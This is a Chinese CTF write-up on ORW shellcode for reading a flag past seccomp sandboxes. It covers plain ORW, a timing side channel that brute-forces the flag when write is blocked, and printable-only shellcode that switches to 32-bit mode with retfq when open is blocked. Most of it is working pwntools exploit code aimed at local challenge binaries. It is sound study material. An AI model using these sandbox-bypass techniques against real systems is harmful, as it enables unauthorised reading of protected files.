ORW

First Post:

Last Update:

Word Count:
2.5k

Read Time:
13 min

Page View: loading...

最近复现强网杯2021赛题[shellcode]有感,特意来学习一下有关orw原理中缺少某些函数的情况如何进行ORW
禁用沙箱规则我在之前提到过 [[prctl-seccomp]]
参考了大佬!https://www.jianshu.com/p/754b0a2ae353

普通 ORW

  1. 32 位

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    ; "/home/orw/flag\x00" 保存到栈上
    ; 小端序
    ; 要注意给字符串结尾加上 '\x00'
    push 0x006761
    push 0x6c662f77
    push 0x726f2f65
    push 0x6d6f682f
    ; open("/home/orw/flag", O_RDONLY)
    ; #define O_RDONLY 0
    mov eax,5 ; open() 系统调用号是 5
    mov ebx,esp ; "/home/orw/flag"
    xor ecx,ecx ; O_RDONLY = 0
    xor edx,edx
    int 0x80 ; int 80h 会报错
    ; 返回 fd 保存到 eax 中

    ; read(fd, buf, count)
    mov ebx,eax ; fd
    mov eax,3 ; read() 的系统调用号是 3
    mov ecx,esp ; buf
    mov edx,0x30 ; count
    int 0x80

    ; write(fd, buf, count)
    mov eax,4 ; write() 的系统调用号是 4
    mov ebx,1 ; fd=1, write到标准输出
    mov ecx,esp ; buf
    mov edx,0x30 ; count
    int 0x80
  2. 64 位
    (1). 版本一

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    ; open("flag", 0)
    0: 68 66 6c 61 67 push 0x67616c66
    5: 6a 02 push 0x2
    7: 58 pop rax
    8: 48 89 e7 mov rdi,rsp
    b: 48 31 f6 xor rsi,rsi
    e: 0f 05 syscall

    ; read(fd, rsp, 0x20)
    10: 48 89 c7 mov rdi,rax
    13: 48 31 c0 xor rax,rax
    16: 48 89 e6 mov rsi,rsp
    19: 6a 20 push 0x20
    1b: 5a pop rdx
    1c: 0f 05 syscall

    ; write(1, rsp, 0x20)
    1e: 6a 01 push 0x1
    20: 58 pop rax
    21: 6a 01 push 0x1
    23: 5f pop rdi
    24: 48 89 e6 mov rsi,rsp
    27: 6a 20 push 0x20
    29: 5a pop rdx
    2a: 0f 05 syscall

(2). 版本二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* push b'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push (2) /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push (40) /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall

OR 缺 W (例题: 2021-蓝帽杯初赛-slient)

  1. 文件

链接:https://pan.baidu.com/s/1EiiZNv5GgSX5t9d4eSKQcA
提取码:a6gt

题目保护如下

1
2
3
4
5
6
7
8
┌──(kylinxin🚀LAPTOP-O0CAV6MM)-[/mnt/e/CTF/PWN/study_path/stackOverflow/orw/orw_no_w]
└─✨ checksec chall
[*] '/mnt/e/CTF/PWN/study_path/stackOverflow/orw/orw_no_w/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

沙箱保护开启如下,只能允许read,open,禁用了write,那么意味着我们ORW组合技只有OR可以使用

1
2
3
4
5
6
7
8
9
10
11
12
13
Welcome to silent execution-box.

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

逆向代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  ......
// 逆向代码片段
puts("Welcome to silent execution-box.");

v3 = getpagesize();
// 利用 mmap 函数在 0x10000 处开辟一个 page 的空间
v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);

read(0, &buf, 0x40uLL);

// 设置沙盒
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(4, 0LL);
v8 = seccomp_init(0LL);
seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);
seccomp_load(v8);

// 往 &buf 中读入 0x40 字节数据
// 然后执行这段数据
v4 = buf;
......
*(_OWORD *)v9 = v4;
((void (__fastcall *)(__int64, __int64, __int64))v9)(0xDEADBEEFLL, 0xDEADBEEFLL, 0xDEADBEEFLL);

return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// about mmap (link: https://man7.org/linux/man-pages/man2/mmap.2.html)
// 1. SYNOPSIS
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

/* 2. DESCRIPTION
mmap() creates a new mapping in the virtual address space of the
calling process. The starting address for the new mapping is
specified in addr. The length argument specifies the length of
the mapping (which must be greater than 0).

If addr is NULL, then the kernel chooses the (page-aligned)
address at which to create the mapping; this is the most portable
method of creating a new mapping. If addr is not NULL, then the
kernel takes it as a hint about where to place the mapping; on
Linux, the kernel will pick a nearby page boundary (but always
above or equal to the value specified by
/proc/sys/vm/mmap_min_addr) and attempt to create the mapping
there. If another mapping already exists there, the kernel picks
a new address that may or may not depend on the hint. The
address of the new mapping is returned as the result of the call.
......
*/

on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc/sys/vm/mmap_min_addr) 可知:Linux 为 mmap 分配虚拟内存时,总是从最接近 addr 的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。
可以看到,mmap_min_addr = 65536 = 0x10000,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间。

1
2
3
┌──(kylinxin🚀LAPTOP-O0CAV6MM)-[/mnt/e/CTF/PWN/study_path/stackOverflow/orw/orw_no_w]
└─✨ cat /proc/sys/vm/mmap_min_addr
65536

思路

既然不能 `write`,便只能用 `open` 函数打开 flag 文件后将其中保存的 flag 用 `read` 函数读取出来,再逐字节遍历,与所有的打印字符用 `cmp` 进行比较,一个一个字节地爆破出来。详见 EXP。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding: utf-8 -*-  
from pwn import *
import time

context(arch="amd64", os="linux") # , log_level = "debug")


# 判断第 index 个字符是否是 chdef pwn(p, index, ch):
# 运行时需要去掉 shellcode 中的注释
# ; open(0x10039, 0)
# ; 0x10039 这个地址存放文件名
# ; fd 存放在 rax shellcode = """
push 0x10039 pop rdi xor esi, esi push 2 pop rax syscall
mov rdi, rax xor eax, eax push 0x50 pop rdx push 0x10040 pop rsi syscall
loop: cmp byte ptr[rsi+{0}], {1} jz loop ret """.format(index, ch)
# ; 此时 rsi 存放的即为保存 flag 的地址
# ; 检查 flag[index] 是否等于 ch # ; 若相等便卡在这个循环里面

# 在这里写入文件名
payload = asm(shellcode).ljust(0x40 - 7, 'a') + './flag\x00'
p.sendafter("Welcome to silent execution-box.\n", payload)


flag = ""
index = 0
last = 'a'
while True:
# 逐字符爆破
update = False
# 对于每个字符,遍历所有打印字符 (ascii 码从 32 到 127) for ch in range(32, 127):
sh = process("./chall")
# 远程比较容易断,可以多次连接
'''
for i in range(10): try: sh = remote("1.1.1.1", "11111") break except: sleep(3) continue ''' pwn(sh, index, ch)
start = time.time()
try:
sh.recv(timeout=2)
except:
pass
end = time.time()
sh.close()
# 测试接收时延,超过一定时限则说明在 pwn() 函数中插入 shellcode 后卡循环了,即 flag 中的第 index 个字符是 ch if (end - start > 1.5):
flag += chr(ch)
last = chr(ch)
update = True
print("[ flag + 1 !!! ] " + flag)
break

assert (update == True)

if (last == '}'):
break

index += 1

print("flag: " + flag)

RW 缺 O

参考资料:shellcode 的艺术
详情请看文章中的 “六、禁用了system和open,还限制了shellcode字符”,里面用 ex 师傅的一道题目为例。
在 ex 师傅的这道题中,程序是 64 位的,禁用了 open 函数,但是允许调用 fstat 函数(该函数的 64 位系统调用号为 5,这个是 open 函数的 32 位系统调用号)。因此,这道题的基本思路就是利用 retfq 汇编指令进行 32 位和 64 位系统格式之间的切换,在 32 位格式下执行 open 函数打开 flag 文件,在 64 位格式下执行输入输出。
而且,由于这道题限制输入的 shellcode 必须是可打印字符,在写 shellcode 的时候还需要使用一些技巧,基本思路就是:对于一些(对应的字节码是不可打印字符)的汇编指令,利用可打印字符之间的算术操作(主要是异或)来获取。具体可以参考文章中的 “三、限制字符”。
下面是文章中的代码,自己加了一点注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./shellcode')
# p = remote("nc.eonew.cn","10011")
p.recvuntil("shellcode: ")

append_x86 = '''
push ebx
pop ebx
'''
append = '''
/* 机器码: 52 5a */
push rdx
pop rdx
'''

shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140

/* s = "flag" */
push 0x67616c66

/* ebx = &s */
push esp
pop ebx

/* ecx = 0 */
xor ecx,ecx

mov eax,5
int 0x80

mov ecx,eax
'''

shellcode_flag = '''
/* retfq: mode_32 -> mode_64*/
push 0x33
push 0x40404089
retfq

/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag, arch = 'amd64', os = 'linux')
shellcode = ''

# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
/* syscall 的机器码是 0f 05, 都是不可打印字符. */
/* 用异或运算来解决这个问题: 0x0f = 0x5d^0x52, 0x05 = 0x5f^0x5a. */
/* 其中 0x52,0x5a 由 append 提供. */
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/

push 0x40404040 /*set rsi*/
pop rsi

push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40 /*set rdx*/
push 0x70
pop rdx

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl

push rdx /*set rax*/
pop rax
xor al,0x70
'''

shellcode_retfq = '''
/*mode_64 -> mode_32*/
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

# mmap
shellcode += shellcode_mmap
shellcode += append

# read shellcode
shellcode += shellcode_read
shellcode += append

# mode_64 -> mode_32
shellcode += shellcode_retfq
shellcode += append

shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print hex(len(shellcode))

#gdb.attach(p,"b *0x40027f\nb*0x4002eb\nc\nc\nsi\n")
p.sendline(shellcode)
pause()

p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
p.interactive()

R 缺 OW (例题: 2021-强网杯-初赛-shellcode)

这道题其实就是 “R 缺 OW”,上面两种情况的融合怪。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
#coding:utf-8
from pwn import *
import time

# context.log_level = 'debug'

append_x86 = '''
push ebx
pop ebx
'''
append = '''
push rdx
pop rdx
'''

shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140

/* s = "flag" */
push 0x67616c66

/* ebx = &s */
push esp
pop ebx

/* ecx = 0 */
xor ecx,ecx

mov eax,5
int 0x80

mov ecx,eax
'''
shellcode_x86 = asm(shellcode_x86)

shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/

push 0x40404040 /*set rsi*/
pop rsi

push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40 /*set rdx*/
push 0x70
pop rdx

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl

push rdx /*set rax*/
pop rax
xor al,0x70
'''

shellcode_retfq = '''
/*mode_64 -> mode_32*/
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

def pwn(p, index, ch):
shellcode = ''

# mmap
shellcode += shellcode_mmap
shellcode += append

# read shellcode
shellcode += shellcode_read
shellcode += append

# mode_64 -> mode_32
shellcode += shellcode_retfq
shellcode += append

shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
#print hex(len(shellcode))

p.sendline(shellcode)
time.sleep(0.05)

shellcode_flag ="""
push 0x33
push 0x40404089
retfq

/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

loop:
cmp byte ptr[rsi+{0}], {1}
jz loop
ret
""".format(index, ch)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')

p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)

flag = ""
index = 0
last = 'a'
while True:
update = False
for ch in range(32,127):
sh = process("./shellcode")
pwn(sh, index, ch)
start = time.time()
try:
sh.recv(timeout=2)
except:
pass
end = time.time()
sh.close()
if(end-start > 1.5):
flag += chr(ch)
last = chr(ch)
update = True
print("[ flag + 1 !!! ] " + flag)
break

assert(update == True)

if(last == '}'):
break

index += 1

print("flag: " + flag)